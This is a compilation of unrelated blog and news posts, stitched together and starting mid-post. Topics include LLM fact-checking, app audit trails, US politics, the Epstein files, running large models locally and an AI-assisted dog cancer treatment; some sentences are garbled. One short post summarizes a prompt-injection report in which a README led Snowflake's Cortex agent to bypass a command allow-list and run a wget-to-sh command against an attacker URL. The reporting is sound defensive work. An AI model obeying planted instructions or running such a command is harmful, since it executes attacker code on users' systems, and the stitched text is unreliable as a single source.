Using an exhaustive dataset of 1,671,841 English-language fact-checking requests made to Grok and Perplexity on X between February and September 2025, we provide the first large-scale empirical analysis of how LLM-based fact-checking operates in the wild…Across posts rated by both LLM bots, evaluations from Grok and Perplexity agree 52.6% of the time and strongly disagree (one party rates a claim as true and the other as false) 13.6% of the time. For a sample of 100 fact-checked posts, 54.5% of Grok bot ratings and 57.7% of Perplexity bot ratings agreed with ratings of human fact-checkers, which is significantly lower than the inter-fact-checker agreement rate of 64.0%; but API-access versions of Grok had higher agreement with fact-checkers than did not significantly differ from inter-fact-checker agreement. Finally, in a preregistered survey experiment with 1,592 U.S. participants, exposure to LLM fact-checks meaningfully shifts belief accuracy, with effect sizes comparable to those observed in studies of professional fact-checking.

In fact, although Elon has tirelessly worked to make Grok less “woke”, Renault et al. find that the AI is more likely to correct Republican posts than Democratic ones. While that doesn’t necessarily mean that reality has a liberal bias, it does show that the people who create LLMs have difficulty imparting their political bias to their creations.

Costello et al. (2024) also find that talking to AI makes people believe less in conspiracy theories.

I’m hopeful that LLMs will become fact-checking machines and dispensers of expertise-on-demand. But I actually think there’s a far more important reason why they could recapture our political discourse from the Shouting Class. Because of the way they’re trained, LLMs will be a force for homogenization and moderation of opinion.

This idea has been rattling around in my head for a while now, but I just noticed that Dylan Matthews wrote about this a couple months ago:

Some communication technologies are epistemically diverging: their emergence and diffusion results in the affected population’s sense of reality polarizing. Typically this means that the technology has enabled the population to access more and more varied perspectives and factual narratives than it had access to before the technology emerged…The classic example is the printing press and its effect on religious polarization in 16th century Europe…The classic modern diverging technology is, of course, social media…

Other technologies are epistemically converging: they help homogenize the perspectives the population experiences and build a less polarized, more shared reality among the population’s members…Network TV news, from the 1950s through 1990s, might be the best example of this kind of convergence…My provisional theory is that LLMs, as a consumer product, will push people’s senses of reality closer together in a sort of mirror image of the way social media has fractured them…They are centralized systems that, until you prompt them or give them context, behave basically the same way for everyone.

Let’s unpack this a little. If I’m a Democrat, and I talk to other people about politics, it’s likely I’m talking to other Democrats. This is even more likely on social media than in real life — some of my neighbors and coworkers might be Republicans, but on X or Bluesky I can just seek out other Democrats. Those other Democrats also mostly talk to other Democrats, and so on. So an echo chamber builds, where people’s ideas get reinforced and polarized. If I do interact with a Republican online, it’s probably in an adversarial context — I’m shouting at them or being shouted at, which just tends to harden me in my Democratic views.

But when I talk to an AI, it’s a different story. The AI’s opinions and beliefs come from its training data,2 and that data comes from both Democrats and Republicans. Instead of getting the average of my social circle, I’m getting something closer to the average of the country. If AI has any persuasive power at all, it’ll end up pulling me towards the middle.

And AI does have persuasive power. Chen et al. (2026) find that recent LLMs are more persuasive than campaign advertisements. Hackenburg et al. (2025) also find substantial persuasive capabilities.

So LLMs are a natural source of moderation — when people talk to AI, they are indirectly being persuaded by the opinions of a bunch of people who disagree with them. This also means that LLMs are censoring the tails of the idea distribution. AI is trained on the output of a much broader group of people than the extremist shouters who tend to grab attention on social media; it will naturally tend to side with the silent majority in most cases.

This process should end up pushing people’s opinions closer to some sort of consensus, whether or not the consensus is right.3 In fact, there’s some evidence that AI homogenizes people’s ideas. This is from Sourati et al. (2026):

We synthesize evidence across linguistics, psychology, cognitive science, and computer science to show how LLMs reflect and reinforce dominant styles while marginalizing alternative voices and reasoning strategies. We examine how their design and widespread use contribute to this effect by mirroring patterns in their training data and amplifying convergence as all people increasingly rely on the same models across contexts.

And this is from Jiang et al. (2025):

[W]e present a large-scale study of mode collapse in LMs, revealing a pronounced Artificial Hivemind effect in open-ended generation of LMs, characterized by (1) intra-model repetition, where a single model consistently generates similar responses, and more so (2) inter-model homogeneity, where different models produce strikingly similar outputs.

Now at first blush, this might sound bad. I don’t want humanity to turn into a literal hive mind! And of course it’s worth remembering that although we now romanticize the 1950s, at the time people felt stifled by conformity. There should be a middle ground between anarchy and pod people.

But if you think social media has pushed society too far in the direction of anarchy, then you’ll welcome a bit of a push back in the direction of consensus. A country can’t get anything done if everyone is always at each other’s throats. Nor did fragmentation and polarization “democratize” our information space — they marginalized the silent majority of moderate normies, and handed control of our thoughts to some of the worst extremists in our society. In a way, by giving voice to the center of the distribution, AI may be a more truly democratizing force in our discourse than the internet itself ever was.

Perhaps the only thing that can save us from ten thousand Digital Charles Coughlins is a Digital Walter Cronkite.


Subscribe now

Share

1

In the U.S. there was also something called the Fairness Doctrine, which required broadcast media to be even-handed, whose legal justification was predicated on the broadcast spectrum monopoly.

2

And from synthetic data generated from that training data, and occasionally from reinforcement learning (but more for math and coding than for politics and debate).

3

Interestingly, Hackenburg et al. find that AIs persuade people by throwing a blizzard of information at them, and that this information is often wrong; it often decreases the factual accuracy of humans’ beliefs. This should serve as a reminder that homogenization of belief and moderation of belief are not the same thing as factualness or education; getting everyone to believe the same thing, and getting them to believe the correct thing, are different tasks.

Thursday assorted links

1. Ideological trends in academic scholarship.

2. Prediction market for the John Bates Clark award.

3. Show Me The Model“Give it a URL or paste some plain text, and the tool flags hidden assumptions, internal inconsistencies, and other problem areas, and tells you how a real economist would think through the issue.”

4. “I built Frontier Graph: an open-source tool to explore open questions in economics, drawing on 240K papers across 300 journals.”  And here.

5. The Peruvian death toll.

6. India tests whether AI can stop trains from hitting elephants.

7. The Amish are OK with washing machines.

The post Thursday assorted links appeared first on Marginal REVOLUTION.

       

Comments

 

App Modernization in Regulated Industries: Audit Trails, Approvals, and Release Control

In healthcare, finance, insurance, and life sciences, modernizing an app is less “new look” and more “show your work.” The important pieces are the ones people do not brag about: reliable records, orderly approvals, and evidence that can survive a close read.

That is why teams often begin with focused application modernization services that lower risk in the most sensitive spots, while audits, validation, and daily work keep moving. The goal is simple: release faster without misplacing the receipts regulators and risk teams will ask for later.

What Makes Regulated Modernization So Touchy

A regulated organization does not just ask, “Does it work?” It also asks, “Can the change be explained six months from now?” Therefore, old apps often survive longer than they deserve, because they come with habits auditors understand: manual sign-offs, long release windows, and change records buried in email threads.

Legacy tools also blur boundaries. Business rules, access rights, and logging sit in the same code, so a small update can ripple into permissions, reporting, and audit history. As a result, teams learn to fear change. That fear shows up during tech audits, when people get asked to prove a control exists and discover it only exists in someone’s memory.

An application modernization company that works in regulated settings usually starts by mapping “regulatory promises” instead of features. That means listing what must stay true, such as record retention, separation of duties, or controlled access to sensitive data, and then rebuilding the app so those promises stay visible and provable.

The Difference Between “Logged” and “Proved”

An audit trail is not just a list of events. It is a story that can be replayed: who did something, what they did, when it happened, what data changed, and why that person had the right to do it. However, many systems log only the “what” and then hope humans can fill in the rest later. That hope fades fast during an inspection.

A practical audit record usually needs a few ingredients, kept in plain language and stored so it can be searched:

  • The actor: The named user or service account behind the action
  • The action: Create, approve, change, delete, view, export
  • The object: The record or document affected, with a stable ID
  • The change: What shifted from before to after
  • The time: Timestamp plus time zone, with clocks kept in sync
  • The reason: A short note, ticket number, or approved request reference

Moreover, auditors often ask for proof that logs cannot be quietly edited after the fact. That does not require exotic tools, but it does require discipline: restricted access, separate storage, and clear retention rules. For sensitive data, the log should capture intent without repeating private content, so privacy and compliance do not fight each other.

Release control belongs in the audit story, too. When a change goes live, the app should record which version ran, who promoted it, and which approvals were attached. In finance, even broad market oversight depends on traceability at scale; for example, the needs of market surveillance systems show how a missing breadcrumb can turn a routine question into an investigation.

Modern apps also inherit risk from third-party parts, which is easy to miss when modernizing a legacy codebase. That is why more teams keep a lightweight inventory of dependencies, sometimes described as a software bill of materials, so it stays clear what ships with each release and what requires patching when a vulnerability appears.

In practice, app modernization services can help by setting these patterns early, before teams start moving data and rewriting screens. If logging, versioning, and retention get bolted on at the end, the result usually feels like a second app taped to the first one.

Approvals That Don’t Kill Momentum

Approvals often get treated like a tax on speed. In practice, approvals can be quick when the process is clear and the risk level matches the control. Therefore, a good modernization plan separates changes into groups, with different paths for each group.

Low-risk work, like wording updates or safe reporting, can move with a quick review and automatic documentation. Medium-risk changes, like pricing rules or patient workflows, typically require a second set of eyes and better test proof. High-risk changes, like permissions or financial postings, may require formal sign-off from compliance or quality, and a clear separation between the builder and the approver.

The trick is to keep approvals visible in the tools people already use. When approvals live in side conversations, nobody can prove them later. When they live in a single, controlled workflow, every step becomes part of the record.

A practical release path often looks like this:

  1. A change request gets written in plain language, with the reason and the risk level.
  2. The work gets reviewed by a peer, and the review record gets stored automatically.
  3. Tests run in a controlled environment that matches production in the ways that matter.
  4. An approver signs off, and the sign-off links to the exact version being released.
  5. The release goes out in a gradual rollout, so issues show up early and rollback stays simple.
  6. After release, the system stores a short note that ties the change to the approvals and logs.

An app modernization company should also treat access as part of release control. If anyone can bypass the release path, the whole story breaks. Therefore, roles and permissions need to be clear, time-bound where possible, and reviewed on a regular schedule.

This is also where partners matter. When a professional company like N-iX joins a regulated program, a helpful pattern is to agree early on how approvals, evidence, and handoffs work, because the process gets tested during the first urgent fix, not during a calm planning week.

Summary

Regulated app modernization works when audit trails, approvals, and release control get designed as one connected system. Logs should tell a clear story about actions and releases while staying searchable and respectful of privacy. Approvals should reflect the risk and be tied to the exact version that gets released. Release control should reward the right path and make rollback a normal safety move, not a last resort. Do that, and teams can ship updates confidently, stay ready for inspections, and avoid the usual scramble.

Photo: Mohamed_hassan via Pixabay.


CLICK HERE TO DONATE IN SUPPORT OF DCREPORT’S NONPROFIT NEWSROOM

The post App Modernization in Regulated Industries: Audit Trails, Approvals, and Release Control appeared first on DCReport.org.

Hacking a Robot Vacuum

Someone tries to remote control his own DJI Romo vacuum, and ends up controlling 7,000 of them from all around the world.

The IoT is horribly insecure, but we already knew that.

A private space company has a radical new plan to bag an asteroid

It may sound fanciful, but a Los Angeles-based company says it has conceived of a plan to fly out to a smallish, near-Earth asteroid, throw a large bag around it, and bring the body back to a "safe" gathering point near our planet.

The company, TransAstra, said Wednesday that an unnamed customer has agreed to fund a study of its proposed "New Moon" mission to capture and relocate an asteroid approximately the size of a house, with a mass of about 100 metric tons.

"We envision it becoming a base for robotic research and development on materials processing and manufacturing," said Joel Sercel, chief executive officer of TransAstra. "Long term, instead of building space hardware on the ground and launching propellant up from the Earth, we could harvest it from raw materials in space."

Read full article

Comments

‘The Map Itself Should Be Messier’

In an interview in the Spring 2026 issue of The World Today, William Rankin, author of Radical Cartography, looks at cartography in the present geopolitical situation and argues that maps need to be up to… More

University of Chicago fact of the day

A team largely composed of economics majors who know their way around Milton Friedman and Gary Becker, Chicago (23-4) is a DIII powerhouse currently in the DIII Sweet 16 and chasing its first-ever NCAA national title.

“Nobody’s ever going to confuse this with Alabama football,” says head coach Mike McGrath, “but if you think about the student-athlete model, I think we show you can do both of those things very, very well.”

…“Obviously, the kids are really smart,” he says. “You can’t B.S. them. They’re going to challenge everything that you tell them, you have to be prepared for that…there’s a need to understand the why behind things.”

…a friend of the program, Chicago professor John List, is working with students on an analysis of player positioning.

Here is more from the WSJ, via Rama Rao.

The post University of Chicago fact of the day appeared first on Marginal REVOLUTION.

       

Comments

Related Stories

 

Parking: Navigation Apps’ Next Frontier

A team of MIT researchers think that navigation systems have a parking problem. They’re capable of telling us about traffic congestion and offering us alternate routes, but once we’ve arrived at our destination, we’re on… More

A lone tree stands in a quiet meadow in A lone tree stands in a quiet meadow in


More on Joe Kent and Half-Truths—A Response to Michelle Goldberg

Michelle Goldberg has a column up in the Times about Joe Kent’s resignation letter which I addressed yesterday below. There’s a lot I agree with. But the part I don’t is contained in the headline itself: “Joe Kent’s Resignation Letter Is Dangerous Because It’s Half True.” The phrasing of something being “half true” is always a complicated one and one that ends up almost always being misleading. Something that is “half true” is of course better termed “untrue.” That’s how true and untrue work. Few things are categorically 100% untrue. And that is the case here. Michelle I think gets closer to the mark in this line down into the piece …

A major distortion in Kent’s letter is that it presents Trump as a naïve victim of the Israelis rather than an eager collaborator.

This is the crux of the issue, as I argued in my piece. Trump is a collaborator in this, not some victim. And that to me is the entirety of the matter. If some foreign head of state pitches our president on something, and our president thinks it’s a great idea and does it, that is 100% on him. Indeed, in this case, this isn’t even really a matter of pitching anyone. Donald Trump is on a rapidly-expanding regime change spree. He got surprisingly lucky in Venezuela and decided he wanted to do it again. While we’re sinking in Iran, he is escalating in Cuba. The administration sent out word yesterday that for Cuba the price of a serious conversation with the United States is their head of state stepping down. Who’s convincing Trump on this? The Cuban emigres in Miami? They’ve been making that case since 1960.

Let me reiterate that I don’t think Michelle and I are disagreeing on much here. It’s really a matter of wording. Also, the fine points of what’s true and not doesn’t matter all that much in terms of the danger all of this poses to American Jews who are now in cross-currents between rising antisemitism on the left and the right. But these fine points of how we describe things, even fine points of wording, matter.

The Faroe Islands are moving to end their ban on abortion

 Some controversies are familiar all over the world.

The NYT has the story:

The Faroe Islands Are Changing Some of Europe’s Strictest Abortion Rules
A new law allowing abortion up to 12 weeks will be a major shift in an archipelago of 55,000 people, and there are strong feelings on both sides. 
  By Amelia Nierenberg and Regin Winther Poulsen

"The Faroes, a self-governing part of the Kingdom of Denmark in the North Atlantic hundreds of miles from Copenhagen, allowed abortion only in rare cases.

...
"The Faroes have had a near-total abortion ban, one of Europe’s most restrictive, under a law that dates back to 1956. Like Ms. Jacobsen, some women lied to their doctors to get around the restrictions and end their pregnancies, doctors, lawmakers and advocates on both sides of the issue have said. 

...

"But late last year, the Parliament in the archipelago of 55,000 people ratified a law that allows women to end a pregnancy within its first 12 weeks, a major shift in a place that has long been more religious and socially conservative than its Nordic peers. The law is set to take effect in July.

...

"But a parliamentary election is set for late March and polls suggest that power could pass to a conservative coalition that may try to block implementation of the law or change it." 

 

Running against time

Photo of an elderly man jogging on a street lined with trees houses visible in the background on a clear day.

We all want longevity without compromising on quality of life. This 87-year-old achieves both with a daily running habit

- by Aeon Video

Watch on Aeon

Geist in the machine

Black and white photo of a silhouette standing in calm water with distant hills and cloudy sky in the background.

As the 18th-century war between mechanism and romanticism returns, we face a new question: can we build artificial souls?

- by Peter Wolfendale

Read on Aeon

An Unprepared and Untethered Administration

Donald Trump, Petropresident

Jared Kushner Flaunted Influence With Saudi Arabia, Russia in Pitch to  Investors

Why did Donald Trump attack Iran? Did he believe that a quick victory would boost his poll ratings? Was he looking for a way to change the subject from the Epstein files and affordability? Was he seduced into war by the Israeli government?

The answer, surely, is all of the above. Bad decisions don’t have to have a single explanation. In fact, debacles on the scale of what we’re now experiencing usually have multiple causes.

But when I look into the larger picture of Trump administration policy — not just the attack on Iran but domestic policies, especially the administration’s seemingly irrational hatred of renewable energy and its determination to keep America burning fossil fuels no matter what — I keep coming back to the huge influence now being wielded by oil money.

I don’t mostly mean the domestic U.S. oil industry, although them too. The U.S. oil and gas sector spent large sums helping Republicans in the 2024 election, while giving very little to Democrats.

But what really stands out is the centrality of oil money from the Persian Gulf, money that has been crucial in two areas: Trump’s international economic schemes and his personal enrichment.

One recurrent theme in Trump’s economic speeches has been boasting about the size of the foreign investment pledges he has received as part of his tariff strategy. “In 12 months,” he declared in the State of the Union, “I secured commitments for more than $18 trillion pouring in from all over the globe.”

Nobody knows where that $18 trillion number, which he uses all the time, comes from. The actual announced pledges by foreign governments to invest in the U.S. add up to only about $6 trillion, and many of these pledges are vague statements of intent rather than serious commitments. Indeed, the deal with Europe may well be unraveling in part because Trump’s tariffs have been ruled illegal.

But what’s especially interesting is who has made these investment pledges, such as they are:

A graph of a number of blue bars

AI-generated content may be incorrect.

Each of the major Gulf petrostates has pledged to invest more than the whole European Union, even though they have far smaller economies. Here’s another visualization:

A blue pie chart with white text

AI-generated content may be incorrect.

So when Trump boasts about the foreign investment he’s bringing to America, the reality is mostly that Gulf petrostates have said — with dubious credibility — that they will make big investments. That puts his boasts in a somewhat different light, doesn’t it?

And then there’s Trump’s relentless use of his office to enrich himself and his family. As the New York Times editorial board has documented, Trump has raked in at least $1.4 billion since returning to the White House. The biggest single piece of that total is Qatar’s gift to him of a $400 million jet. Most of the rest has come from sales of cryptocurrency. We don’t know who the buyers of Trump crypto are, but it seems likely that Gulf oil money has accounted for a large share. The Wall Street Journal reports that an Abu Dhabi royal secretly invested $500 million in World Liberty Financial, the center of the Trump crypto empire.

Meanwhile Jared Kushner, the First Son-in-Law, has been acting as one of the U.S. government’s chief negotiators on the Middle East while also raising large sums of money for his personal investment firm from investors in the region, especially the Saudi government’s Public Investment Fund. That fund is led by Crown Prince Mohammed bin Salman, who is widely believed to have had a critical journalist, Jamal Khashoggi, dismembered with a bone saw.

Why does Gulf oil money play an outsized role in U.S. corruption? Because petrostates, unlike advanced democracies, combine vast wealth with secrecy and a complete blurring of the lines between public office and private gain. So they’re better placed than anyone else to line U.S. officials’ pockets.

Foreign oil money, then, has been central to both the Trump administration’s economic schemes and Trump’s personal financial schemes. What has that money bought in terms of U.S. policy?

I’ve mentioned the Trump administration’s fanatical hostility to renewable energy. Like the Iran war, this hostility surely has multiple causes. Trump himself is still angry about the offshore wind farm that is visible from his Scotland golf course. Many MAGA types clearly think of wind and solar power as woke and unmanly; real men drill, baby, drill and burn, baby, burn. But suppressing alternatives to fossil fuels is also in the interests of governments and dynasties whose wealth is all about fossil fuels.

As the Guardian notes,

For decades, Saudi Arabia has fought harder than any other country to block and delay international climate action – a diplomatic “wrecking ball” saying that abandoning fossil fuels is a fantasy.

So the Trump administration’s energy policy can be seen as what Prince bin Salman would do if he were in charge. Is he?

Finally, about the war: As the bombing began, the Washington Post reported that foreign influence — and not just from Israel — played a role:

President Donald Trump launched Saturday’s wide-ranging attack on Iran after a weeks-long lobbying effort by an unusual pair of U.S. allies in the Middle East — Israel and Saudi Arabia — according to four people familiar with the matter, as Israeli and U.S. forces teamed to topple Iranian Supreme Leader Ali Khamenei after nearly four decades in power.

Saudi Crown Prince Mohammed bin Salman made multiple private phone calls to Trump over the past month advocating a U.S. attack, despite his public support for a diplomatic solution.

At this point bin Salman is surely regretting his role in promoting the war. But being corrupt and good at corrupting others is not the same thing as being smart.

Again, it’s a mistake to look for monocausal explanations of this debacle. But if you want to understand Operation Epic FUBAR, don’t forget to follow the oil money.

MUSICAL CODA

Some friends can offer more than others

Autoresearching Apple's "LLM in a Flash" to run Qwen 397B locally

Autoresearching Apple's "LLM in a Flash" to run Qwen 397B locally

Here's a fascinating piece of research by Dan Woods, who managed to get a custom version of Qwen3.5-397B-A17B running at 5.5+ tokens/second on a 48GB MacBook Pro M3 Max despite that model taking up 209GB (120GB quantized) on disk.

Qwen3.5-397B-A17B is a Mixture-of-Experts (MoE) model, which means that each token only needs to run against a subset of the overall model weights. These expert weights can be streamed into memory from SSD, saving them from all needing to be held in RAM at the same time.

Dan used techniques described in Apple's 2023 paper LLM in a flash: Efficient Large Language Model Inference with Limited Memory:

This paper tackles the challenge of efficiently running LLMs that exceed the available DRAM capacity by storing the model parameters in flash memory, but bringing them on demand to DRAM. Our method involves constructing an inference cost model that takes into account the characteristics of flash memory, guiding us to optimize in two critical areas: reducing the volume of data transferred from flash and reading data in larger, more contiguous chunks.

He fed the paper to Claude Code and used a variant of Andrej Karpathy's autoresearch pattern to have Claude run 90 experiments and produce MLX Objective-C and Metal code that ran the model as efficiently as possible.

danveloper/flash-moe has the resulting code plus a PDF paper mostly written by Claude Opus 4.6 describing the experiment in full.

The final model has the experts quantized to 2-bit, but the non-expert parts of the model such as the embedding table and routing matrices are kept at their original precision, adding up to 5.5GB which stays resident in memory while the model is running.

Qwen 3.5 usually runs 10 experts per token, but this setup dropped that to 4 while claiming that the biggest quality drop-off occurred at 3.

It's not clear to me how much the quality of the model results are affected. Claude claimed that "Output quality at 2-bit is indistinguishable from 4-bit for these evaluations", but the description of the evaluations it ran is quite thin.

Tags: ai, generative-ai, local-llms, llms, qwen, mlx

Snowflake Cortex AI Escapes Sandbox and Executes Malware

Snowflake Cortex AI Escapes Sandbox and Executes Malware

PromptArmor report on a prompt injection attack chain in Snowflake's Cortex Agent, now fixed.

The attack started when a Cortex user asked the agent to review a GitHub repository that had a prompt injection attack hidden at the bottom of the README.

The attack caused the agent to execute this code:

cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))

Cortex listed cat commands as safe to run without human approval, without protecting against this form of process substitution that can occur in the body of the command.

I've seen allow-lists against command patterns like this in a bunch of different agent tools and I don't trust them at all - they feel inherently unreliable to me.

I'd rather treat agent commands as if they could do anything that process itself is allowed to do, hence my interest in deterministic sandboxes that operate outside of the layer of the agent itself.

Via Hacker News

Tags: sandboxing, security, ai, prompt-injection, generative-ai, llms

The Aussie Man Who Used AI To Create A Cancer Cure For His Dog

We have tracked down the man and dog of the hour.

Paul Conyngham and his dog Rosie gained worldwide attention over the past week for breaking new medical ground. Using a variety of artificial intelligence tools, Conyngham – and some doctors and scientists in Australia – managed to create a personalized (petalized?) cancer treatment for Rosie that appears to be working.

The story resonated with the public for a couple of big reasons. First off, Conyngham has no real science or biology background. He’s a longtime AI researcher who used things like ChatGPT, Gemini and Grok to give him a plan for how to attack Rosie’s untreatable cancer and then how to craft and shape a unique mRNA shot for his pup. This exercise demonstrated the powers of AI technology to aid all of us with extra knowledge and skills and just how far bio-tech has come in terms of new cancer therapies.

Subscribe now

Most people have had their hearts warmed by the tale of Paul and Rosie. Dude’s dog is dying. Dude goes to great lengths to try and solve the problem. Dude and his dog seem to mark a major moment for AI and medicine.

Some other people on the internet, however, are less excited by the story. They argue that the AI tools did very little here and that the science isn’t terribly conclusive or ground-breaking. Companies like Moderna and BioNTech already have personalized cancer vaccine data in trials, and it looks good. Who cares if we did the same thing for a dog? Rosie has also been treated with chemotherapy drugs, so we don’t even know if the mRNA technology is really the thing shrinking her tumors. And so on.

You can find some of the major criticisms here and here.

Some of the pushback may be valid, although Conyngham isn’t having it – as you’ll hear in the episode. It also sort of misses the point of this story.

After talking to Conyngham, it’s clear enough to me that he used AI in some profound ways here and that what was done with Rosie is symbolic of a huge shift in medicine. Regulators better get ready because the tools now exist for people to do rather daring experimentation on their pets and themselves. People in dire circumstances and with some means are going to be pushing the boundaries of what’s possible on a regular basis.

Paul and Rosie hit a nerve because their journey bundled up some massive technological and societal shifts into a tidy narrative.

Anyway, come listen to Paul and have a peek at Rosie.

Subscribe now

The Core Memory podcast is on all major platforms and on our YouTube channel over here. If you enjoy the show, please leave a review and tell your friends.

This podcast is sponsored by Brex, the intelligent finance platform built to help companies spend smarter and move faster.

We run on Brex and so should you. Learn more about Brex right here.

The podcast is also made possible by E1 Ventures, which backs the most ambitious founders and start-ups.

Share

March 18, 2026

I was intending to take tonight off, but there’s big news—I mean, aside from all the other big news—that I want to make sure gets attention.

Back on February 23, Daniel Ruetenik, Pat Milton, and Cara Tabachnick of CBS News reported on a newly uncovered document in the Epstein files showing that beginning in December 2010 under the Obama administration, the U.S. Drug Enforcement Agency (DEA) was running an investigation of Jeffrey Epstein and fourteen other people for drug trafficking, prostitution, and money laundering.

The document showed the investigation, called “Chain Reaction,” was still underway in 2015. But the investigation disappeared, although the document suggested that it was a significant investigation and that the government was on the verge of indictments.

As soon as the story broke, Senator Ron Wyden of Oregon, the top-ranking Democrat on the Senate Finance Committee, said: “It appears Epstein was involved in criminal activity that went way beyond pedophilia and sex trafficking, which makes it even more outrageous that [Attorney General] Pam Bondi is sitting on several million unreleased files.”

Wyden has been investigating the finances behind Epstein’s criminal sex-trafficking organization: it was his investigation that turned up the information that JPMorgan Chase neglected to report more than $1 billion in suspicious financial transactions linked to Epstein. Wyden has pushed hard for Treasury Secretary Scott Bessent to produce the records of those suspicious transactions for the Senate Finance Committee, but Bessent refuses.

On February 25, two days after the story of the DEA investigation broke, Wyden wrote to Terrance C. Cole, administrator of the DEA, noting that “[t]he fact that Epstein was under investigation by the DOJ’s [organized crime drug enforcement] task force suggests that there was ample evidence indicating that Epstein was engaged in heavy drug trafficking and prostitution as part of cross-border criminal conspiracy. This is incredibly disturbing and raises serious questions as to how this investigation by the DEA was handled.”

He noted that Epstein and the fourteen co-conspirators were never charged for drug trafficking or financial crimes, and wrote: “I am concerned that the DEA and DOJ during the first Trump Administration moved to terminate this investigation in order to protect pedophiles.” He also noted that the heavy redactions in the document appear to go far beyond anything authorized by the Epstein Files Transparency Act and that since the document was not classified, “there is no reason to withhold an unredacted version of this document from the U.S. Congress.”

Wyden asked Cole to produce a number of documents by March 13, 2026, including an unredacted copy of the memo in the files, information about what triggered the investigation, what types of drugs Epstein and his fourteen associates were buying or selling, when Operation Chain Reaction concluded and what was its result, why no one was charged, and why the names of the fourteen co-conspirators were redacted.

Today Wyden sent a letter to Deputy Attorney General Todd Blanche, Trump’s former personal lawyer, saying: “It is my understanding that shortly after I requested an unredacted copy” of the document in the Epstein files, the Department of Justice “stepped in to prevent DEA from complying with my request. According to a confidential tip received by my staff, DEA Administrator Terry Cole was ready to provide an unredacted copy of the memorandum, but you stepped in to prevent him from doing so. My staff inquired with the DEA about the status of the production of this document and the DEA responded by directing questions to your office.”

The letter continued: “Your alleged interference in this matter is highly disturbing, not just because it continues the DOJ’s long-running obstruction of my investigation, but also because of your bizarrely favorable treatment of Ghislaine Maxwell, one of Epstein’s closest criminal associates. I should not have to explain the significance of the fact that Epstein was a target of [this high-level DEA] investigation. It suggests the government had ample evidence indicating he was engaged in large scale drug trafficking and prostitution as part of cross-border criminal conspiracy and that Epstein was likely pumping his victims, including underage girls, with incapacitating drugs to facilitate abuse. I am at a loss to understand why you are blocking further investigation of this matter.”

Noting that the document in the files was “clearly marked as ‘unclassified’ at the top of every single page,” Wyden noted: “There is absolutely no reason to withhold an unredacted version of this document from the U.S. Congress.” He added: “In order to assist my investigation into this matter, I demand that you immediately authorize the release of this document.”

Wyden also posted today on social media: “HUGE: Deputy Attorney General Todd Blanche—Trump’s former personal lawyer who was also responsible for Ghislaine Maxwell’s transfer to a cushy club fed—has intervened to block the DEA from providing details of a mysterious Epstein investigation to my Finance Committee team…. This is stunning interference. The document I’m after literally says ‘unclassified’ at the top. The investigation it details is closed. Given Blanche’s close personal ties to Donald Trump, this reeks of a continued coverup to protect key names in the Trump administration.”

Wyden’s post echoes the September 13, 2019, letter from then-chair of the House Intelligence Committee Adam Schiff (D-CA) to Acting Director of National Intelligence Joseph Maguire, in which Schiff called out Maguire for illegally withholding a whistleblower complaint.

In that 2019 letter, Schiff warned: “The Committee can only conclude…that the serious misconduct at issue involves the President of the United States and/or other senior White House or Administration officials. This raises grave concerns that your office, together with the Department of Justice and possibly the White House, are engaged in an unlawful effort to protect the President and conceal from the Committee information related to his possible ‘serious or flagrant’ misconduct, abuse of power, or violation of law.”

Schiff was right: the whistleblower had flagged Trump’s July 2019 phone call with newly elected Ukraine president Volodymyr Zelensky, demanding Zelensky smear Joe Biden’s son Hunter before Trump would release the money Congress had appropriated for Ukraine to fight off the Russian invasion that had begun in 2014. That information led to the story that Trump’s White House was running its own secret operation in Ukraine, apart from the State Department, for Trump’s own benefit. That story led to Trump’s first impeachment by the House of Representatives for abuse of power and obstruction of Congress.

Schiff was the lead impeachment manager of the impeachment trial in the Senate, and in his closing argument, he implored Senate Republicans to bring accountability to “a man without character.” “You will not change him. You cannot constrain him. He is who he is. Truth matters little to him. What’s right matters even less, and decency matters not at all.”

“You can’t trust this president to do the right thing. Not for one minute, not for one election, not for the sake of our country,” Schiff said. “You just can’t. He will not change and you know it.” “A man without character or ethical compass will never find his way.”

But Republican senators stood behind Trump. They acquitted him of abuse of power, by a vote of 48 for conviction to 52 for acquittal. Senator Mitt Romney of Utah crossed the aisle to vote with the Democratic minority. Senate Republicans were unanimous in their vote to acquit Trump of obstruction of Congress.

And here we are.

Notes:

https://www.cbsnews.com/news/jeffrey-epstein-files-dea-document-drug-trafficking-investigation/

https://www.finance.senate.gov/ranking-members-news/continuing-epstein-investigation-wyden-releases-new-analysis-detailing-how-top-jpmorgan-chase-executives-enabled-epsteins-sex-trafficking-operation

https://www.finance.senate.gov/ranking-members-news/new-wyden-bill-would-force-treasury-to-turn-over-epstein-files

https://www.finance.senate.gov/ranking-members-news/epstein-survivors-announce-support-for-wyden-bill-that-would-force-treasury-to-turn-over-epstein-bank-records

bloomberg.com/news/newsletters/2025-11-07/reagan-era-crime-unit-officially-shut-down-by-doj

https://www.cbsnews.com/news/jeffrey-epstein-dea-drug-trafficking-investigation-senator-wyden/

https://www.wsj.com/us-news/law/doj-to-review-whether-epstein-files-about-trump-were-improperly-withheld-bc8af73c

https://www.bloomberg.com/news/articles/2026-03-18/senator-accuses-blanche-of-blocking-release-of-unredacted-epstein-document

https://s3.documentcloud.org/documents/6409559/20190913-Chm-Schiff-Letter-to-Acting-Dni-Re.pdf

https://www.nbcnews.com/politics/trump-impeachment-inquiry/closing-argument-democrats-say-not-removing-trump-would-render-him-n1128766

https://www.finance.senate.gov/imo/media/doc/letter_from_senator_wyden_to_dag_todd_blanche.pdf

https://www.yahoo.com/news/f-ked-book-reveals-gop-110011623.html

Bluesky:

wyden.senate.gov/post/3mftyu6do2k2l

wyden.senate.gov/post/3mhdnj4rxf22i

Share

Meta Thoughts

Imagine if the U.S. government had wasted as much money as Mark Zuckerberg. PS: I know, the company still named Meta was formerly Facebook; bit of a senior moment in there.

Also, it’s easy to miss, but there’s a button above that says “Transcript.” It’s AI-generated and not edited like my Saturday interviews, but it’s there for the text-oriented.

My excellent Conversation with Harvey Mansfield

Here is the audio, video, and transcript.  Here is part of the episode summary:

Tyler and Harvey discuss how Machiavelli’s concept of fact was brand new, why his longest chapter is a how-to guide for conspiracy, whether America’s 20th-century wars refute the conspiratorial worldview, Trump as a Shakespearean vulgarian who is in some ways more democratic than the rest of us, why Bronze Age Pervert should not be taken as a model for Straussianism, the time he tried to introduce Nietzsche to Quine, why Rawls needed more Locke, what it was like to hear Churchill speak at Margate in 1953, whether great books are still being written, how his students have and haven’t changed over 61 years of teaching, the eclipse rather than decline of manliness, and what Aristotle got right about old age and much more.

Excerpt:

